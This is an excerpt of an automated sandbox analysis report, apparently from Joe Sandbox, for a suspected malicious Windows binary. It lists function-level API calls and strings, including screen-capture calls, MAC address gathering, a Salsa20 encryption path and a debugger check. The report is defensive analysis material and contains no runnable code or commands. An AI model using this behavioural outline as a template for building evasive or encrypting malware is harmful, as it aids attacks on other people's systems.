                                                                                                                                                                                                                                                                  • Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
                                                                                                                                                                                                                                                                  • Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
                                                                                                                                                                                                                                                                  • Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
                                                                                                                                                                                                                                                                  • Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
                                                                                                                                                                                                                                                                  • Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
                                                                                                                                                                                                                                                                  • Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A
                                                                                                                                                                                                                                                                • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
                                                                                                                                                                                                                                                                • CreateCompatibleDC.GDI32(00000000), ref: 00482323
                                                                                                                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
                                                                                                                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
                                                                                                                                                                                                                                                                • CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
                                                                                                                                                                                                                                                                • SelectObject.GDI32(00000000,00000000), ref: 0048235C
                                                                                                                                                                                                                                                                • GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
                                                                                                                                                                                                                                                                • BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
                                                                                                                                                                                                                                                                • GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
                                                                                                                                                                                                                                                                • SelectObject.GDI32(?,?), ref: 00482436
                                                                                                                                                                                                                                                                • DeleteObject.GDI32(00000000), ref: 0048243D
                                                                                                                                                                                                                                                                • DeleteDC.GDI32(?), ref: 0048244A
                                                                                                                                                                                                                                                                • DeleteDC.GDI32(?), ref: 00482450
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
                                                                                                                                                                                                                                                                • String ID: .\crypto\rand\rand_win.c$DISPLAY
                                                                                                                                                                                                                                                                • API String ID: 151064509-1805842116
                                                                                                                                                                                                                                                                • Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
                                                                                                                                                                                                                                                                • Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • _malloc.LIBCMT ref: 0040E67F
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5
                                                                                                                                                                                                                                                                • _malloc.LIBCMT ref: 0040E68B
                                                                                                                                                                                                                                                                • _wprintf.LIBCMT ref: 0040E69E
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 0040E6A4
                                                                                                                                                                                                                                                                  • Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
                                                                                                                                                                                                                                                                  • Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13
                                                                                                                                                                                                                                                                • GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 0040E6C5
                                                                                                                                                                                                                                                                • _malloc.LIBCMT ref: 0040E6CD
                                                                                                                                                                                                                                                                • GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
                                                                                                                                                                                                                                                                • _sprintf.LIBCMT ref: 0040E720
                                                                                                                                                                                                                                                                • _wprintf.LIBCMT ref: 0040E732
                                                                                                                                                                                                                                                                • _wprintf.LIBCMT ref: 0040E73C
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 0040E745
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                • Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
                                                                                                                                                                                                                                                                • Address: %s, mac: %s, xrefs: 0040E72D
                                                                                                                                                                                                                                                                • %02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
                                                                                                                                                                                                                                                                • String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
                                                                                                                                                                                                                                                                • API String ID: 3901070236-1604013687
                                                                                                                                                                                                                                                                • Opcode ID: 7f15536ece751806a483f3f034c79f9e821e57de7f78c7461c513ac46dc48599
                                                                                                                                                                                                                                                                • Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7f15536ece751806a483f3f034c79f9e821e57de7f78c7461c513ac46dc48599
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                  • Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
                                                                                                                                                                                                                                                                  • Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
                                                                                                                                                                                                                                                                  • Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE
                                                                                                                                                                                                                                                                • PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
                                                                                                                                                                                                                                                                • _memmove.LIBCMT ref: 00410427
                                                                                                                                                                                                                                                                • PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
                                                                                                                                                                                                                                                                • _memmove.LIBCMT ref: 00410514
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Message$FileFindNamePathPeek_memmove$Dispatch
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 273148273-0
                                                                                                                                                                                                                                                                • Opcode ID: 2c535a9ce1b4a658066c3b574bdbe8b0733bbf1e4505cf72e2a34136cfdfc2a6
                                                                                                                                                                                                                                                                • Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2c535a9ce1b4a658066c3b574bdbe8b0733bbf1e4505cf72e2a34136cfdfc2a6
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3232302685-0
                                                                                                                                                                                                                                                                • Opcode ID: 343a40c2320f36c0a67bd0d09e6816cdff555a949c20798249c71fe74911a55b
                                                                                                                                                                                                                                                                • Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 343a40c2320f36c0a67bd0d09e6816cdff555a949c20798249c71fe74911a55b
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004382A2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
                                                                                                                                                                                                                                                                • GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: InfoLocale
                                                                                                                                                                                                                                                                • String ID: ACP$OCP
                                                                                                                                                                                                                                                                • API String ID: 2299586839-711371036
                                                                                                                                                                                                                                                                • Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
                                                                                                                                                                                                                                                                • Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                • e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
                                                                                                                                                                                                                                                                • input != nullptr && output != nullptr, xrefs: 0040C095
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __wassert
                                                                                                                                                                                                                                                                • String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
                                                                                                                                                                                                                                                                • API String ID: 3993402318-1975116136
                                                                                                                                                                                                                                                                • Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
                                                                                                                                                                                                                                                                • Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 0042419D
                                                                                                                                                                                                                                                                • IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: DebuggerPresent_memset
                                                                                                                                                                                                                                                                • String ID: i;B
                                                                                                                                                                                                                                                                • API String ID: 2328436684-472376889
                                                                                                                                                                                                                                                                • Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
                                                                                                                                                                                                                                                                • Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CryptDestroyHash.ADVAPI32(?), ref: 00411190
                                                                                                                                                                                                                                                                • CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Crypt$ContextDestroyHashRelease
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3989222877-0
                                                                                                                                                                                                                                                                • Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
                                                                                                                                                                                                                                                                • Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
                                                                                                                                                                                                                                                                • CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Crypt$ContextDestroyHashRelease
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3989222877-0
                                                                                                                                                                                                                                                                • Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
                                                                                                                                                                                                                                                                • Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
                                                                                                                                                                                                                                                                • CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Crypt$ContextDestroyHashRelease
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3989222877-0
                                                                                                                                                                                                                                                                • Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
                                                                                                                                                                                                                                                                • Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004329EC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • SetUnhandledExceptionFilter.KERNEL32(00000000,?,00424266,?,?,?,00000001), ref: 004329F1
                                                                                                                                                                                                                                                                • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 004329FA
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: ExceptionFilterUnhandled
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3192549508-0
                                                                                                                                                                                                                                                                • Opcode ID: 957f1cdd405d7a5f8fcfad9397a47528ed4c184e5d77963140c17adbcc220f91
                                                                                                                                                                                                                                                                • Instruction ID: d7915fe9b98f2e2675b1eb18c11ae3c40c3bb41b36f5f7d781b256b54fe46c91
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 957f1cdd405d7a5f8fcfad9397a47528ed4c184e5d77963140c17adbcc220f91
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: A7B09271044208ABDA802B93EC59F883F28EB04A62F084022F60D444628F6254508E99
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004329BB Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • SetUnhandledExceptionFilter.KERNEL32(?,?,00431DA6,00431D5B), ref: 004329C1
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: ExceptionFilterUnhandled
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3192549508-0
                                                                                                                                                                                                                                                                • Opcode ID: 1db6f696b6536d5221d2cbd00a2ff6cb8be2218350df980964d78d67e6efdd32
                                                                                                                                                                                                                                                                • Instruction ID: cc44753b31e70f30ed06b04cde14f86973f8491ae5a0d649e7a5859f7922213d
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1db6f696b6536d5221d2cbd00a2ff6cb8be2218350df980964d78d67e6efdd32
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 69A0113000020CAB8A002B83EC088883F2CEA002A0B088022F80C008228B22A8208E88
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004278D5 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetProcessHeap.KERNEL32(00423FED,00507990,00000014), ref: 004278D5
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: HeapProcess
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 54951025-0
                                                                                                                                                                                                                                                                • Opcode ID: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
                                                                                                                                                                                                                                                                • Instruction ID: c175dc67e46cb5b18e7b8d473ad54adbb7c8ff58e9170129aa5670ed77b5f39c
